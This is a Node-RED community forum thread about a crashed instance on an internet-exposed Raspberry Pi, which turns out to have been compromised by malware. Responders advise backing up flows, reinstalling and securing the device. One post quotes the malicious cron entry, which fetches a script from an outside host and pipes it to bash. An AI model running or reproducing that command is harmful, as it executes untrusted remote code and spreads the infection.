# Red-node Crashs

**URL:** <https://discourse.nodered.org/t/red-node-crashs/4387>\
**Category:** General\
**Created:** [29 October 2018 15:02 UTC](https://discourse.nodered.org/t/red-node-crashs/4387 "2018-10-29T15:02:29Z")\
**Posts on this page:** 17\
**Page:** 1

<div class="post-metadata">

**Author:** ![pcpaulo](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pcpaulo/32/2971_2.png) [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Post date:** [29 October 2018 15:02 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/1 "2018-10-29T15:02:29Z")

</div>

My Node Red crashed during this week end, and i am getting this error message:  
Error loading settings file: /home/pi/.node-red/settings.js  
ReferenceError: document is not defined  
at Object. (/home/pi/.node-red/settings.js:265:1)  
at Module.\_compile (module.js:652:30)  
at Object.Module.\_extensions..js (module.js:663:10)  
at Module.load (module.js:565:32)  
at tryModuleLoad (module.js:505:12)  
at Function.Module.\_load (module.js:497:3)  
at Module.require (module.js:596:17)  
at require (internal/module.js:11:18)  
at Object. (/usr/lib/node\_modules/node-red/red.js:115:20)  
at Module.\_compile (module.js:652:30)

Where the flows are stored in order to do the backup before i reinstall if it is required?  
Thanks

---

<div class="post-metadata">

**Author:** ![knolleary](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/knolleary/32/3_2.png) [@knolleary](https://discourse.nodered.org/u/knolleary)\
**Post date:** [29 October 2018 15:14 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/2 "2018-10-29T15:14:05Z")

</div>

Hi @pcpaulo

That error message is not related to your flows. It is saying your settings file has got an error in it - `/home/pi/.node-red/settings.js`

Have you edited that file recently?

Specifically it says it is using the variable `document` but it hasn't been defined. If you search the settings file for `document` does that help you narrow down the error?

To answer you specific question, your flows are stored alongside the settings file, in `/home/pi/.node-red`. You should see a pair of files called something like `flows.json` and `flows_cred.json`. By default it includes the hostname as part of the filename...

But in this instance, a reinstall won't help - its the settings file in the `~/.node-red` directory that has the problem.

---

<div class="post-metadata">

**Author:** ![pcpaulo](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pcpaulo/32/2971_2.png) [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Post date:** [29 October 2018 16:08 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/3 "2018-10-29T16:08:39Z")

</div>

No, i did not.  
If I backup up those files, can i reinstall all raspyberry and restore later.. I will be able to get my flows?

---

<div class="post-metadata">

**Author:** ![knolleary](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/knolleary/32/3_2.png) [@knolleary](https://discourse.nodered.org/u/knolleary)\
**Post date:** [29 October 2018 16:12 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/4 "2018-10-29T16:12:13Z")

</div>

@pcpaulo backing up your flow files is always a good idea.

Right now, the problem you have is your settings file has an error in it. A reinstall isn't going to fix that.

Have a look at your settings file. Look for the word `document` - does it exist in that file? Does it look valid?

If you want, share your settings file with us here - or send it to me in a private message. This will probably take 2 minutes to fix if you look at your settings file. Far easier than reinstalling everything.

---

<div class="post-metadata">

**Author:** ![pcpaulo](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pcpaulo/32/2971_2.png) [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Post date:** [29 October 2018 17:13 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/5 "2018-10-29T17:13:10Z")

</div>

i have a "virus" on my machine. there is an unknow scripts running with cpu 100%.

I believe the best way is to reinstall all environment

If i backup the those file may restore before?

---

<div class="post-metadata">

**Author:** ![knolleary](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/knolleary/32/3_2.png) [@knolleary](https://discourse.nodered.org/u/knolleary)\
**Post date:** [29 October 2018 17:48 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/6 "2018-10-29T17:48:51Z")

</div>

Yes, backup you flow file and creditials file and `.node-red/.config.json`

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [29 October 2018 21:31 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/7 "2018-10-29T21:31:47Z")

</div>

> [@pcpaulo](#):
>
> i have a "virus" on my machine

Is this Pi exposed to the Internet? What is the application that is using 100% CPU?

Not everything is a virus. It could be that your Node-RED crash was actually symptomatic of a different issue (as might the 100% CPU). For example, a corrupted SD card could easily show similar results.

---

<div class="post-metadata">

**Author:** ![pcpaulo](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pcpaulo/32/2971_2.png) [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Post date:** [30 October 2018 01:26 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/8 "2018-10-30T01:26:39Z")

</div>

yes my PI was exposed to the internet without adequate protection.

it was installed on my cron to run every second the command http:// [www.tionhgjk.com:8220/mr.sr](http://www.tionhgjk.com:8220/mr.sr) | bash -sh \> /dev/null 2\>&1 which run several internal scripts.

---

<div class="post-metadata">

**Author:** ![craigcurtin](https://avatars.discourse-cdn.com/v4/letter/c/94ad74/32.png) [@craigcurtin](https://discourse.nodered.org/u/craigcurtin)\
**Post date:** [30 October 2018 01:37 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/9 "2018-10-30T01:37:26Z")

</div>

YOu are going to need to be careful about restoring your flows - i do not know if anyone has ripped apart the js files to see what that actual virus does that targets machines with NR on it. I certainly know if it was me writing it i would have a flow setup to autorun after NR startup to re-infect the machine.

Make sure your NR is not running as ROOT to minimize that possibility.

Craig

---

<div class="post-metadata">

**Author:** ![pcpaulo](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pcpaulo/32/2971_2.png) [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Post date:** [30 October 2018 02:05 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/10 "2018-10-30T02:05:01Z")

</div>

apparently i recuperated the NR, I did NR directory backup , ran the NR upgrade process, after that dashboard and some contribut modules was missing. I removed manually and reinstall it.

perhaps this is a lab machine for learning purpose i was afraid that i could lost my flow.

thanks everybody for the support.

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [30 October 2018 11:09 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/11 "2018-10-30T11:09:27Z")

</div>

> [@pcpaulo](#):
>
> it was installed on my cron to run every second the command

If you want to PM me the script. I'll try to take a look at it to see what it does.

---

<div class="post-metadata">

**Author:** ![pcpaulo](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pcpaulo/32/2971_2.png) [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Post date:** [30 October 2018 11:28 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/12 "2018-10-30T11:28:26Z")

</div>

i rebuild the machine and did nod keep the files.

---

<div class="post-metadata">

**Author:** ![mdbraber](https://avatars.discourse-cdn.com/v4/letter/m/a5b964/32.png) [@mdbraber](https://discourse.nodered.org/u/mdbraber)\
**Post date:** [30 October 2018 21:30 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/13 "2018-10-30T21:30:53Z")

</div>

Hi @knolleary

I ran into the same problem. Node Red crashed yesterday. I'v got the same errors like pcpaulo. I checked my settings.js file. It looks like it is messed up. Would you like to check this file and help me to fix it?

Thanks in advance  
(sorry for my "not so brilliant" english)

---

<div class="post-metadata">

**Author:** ![knolleary](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/knolleary/32/3_2.png) [@knolleary](https://discourse.nodered.org/u/knolleary)\
**Post date:** [30 October 2018 21:32 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/14 "2018-10-30T21:32:27Z")

</div>

@mdbraber Please do send me your settings file.

Do you expose Node-RED on the internet? If you do, have you got any security configured?

---

<div class="post-metadata">

**Author:** ![mdbraber](https://avatars.discourse-cdn.com/v4/letter/m/a5b964/32.png) [@mdbraber](https://discourse.nodered.org/u/mdbraber)\
**Post date:** [30 October 2018 21:34 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/15 "2018-10-30T21:34:28Z")

</div>

i do expose Node-Red on the internet. I'm new with Node-RED and Raspberry and had no security configured yet.

---

<div class="post-metadata">

**Author:** ![knolleary](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/knolleary/32/3_2.png) [@knolleary](https://discourse.nodered.org/u/knolleary)\
**Post date:** [30 October 2018 21:36 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/16 "2018-10-30T21:36:05Z")

</div>

@mdbraber then it is likely that you have been infected by a virus. You will need to reinstall the Pi.

And please read this post before thinking about exposing it on the internet: [⚠️ Malware Infecting unsecured Node-RED servers](https://discourse.nodered.org/t/malware-infecting-unsecured-node-red-servers/3460)

---

<div class="post-metadata">

**Author:** ![mdbraber](https://avatars.discourse-cdn.com/v4/letter/m/a5b964/32.png) [@mdbraber](https://discourse.nodered.org/u/mdbraber)\
**Post date:** [30 October 2018 21:38 UTC](https://discourse.nodered.org/t/red-node-crashs/4387/17 "2018-10-30T21:38:26Z")

</div>

thanks knolleary. I'll reinstall the PI and secure my Node-RED / PI
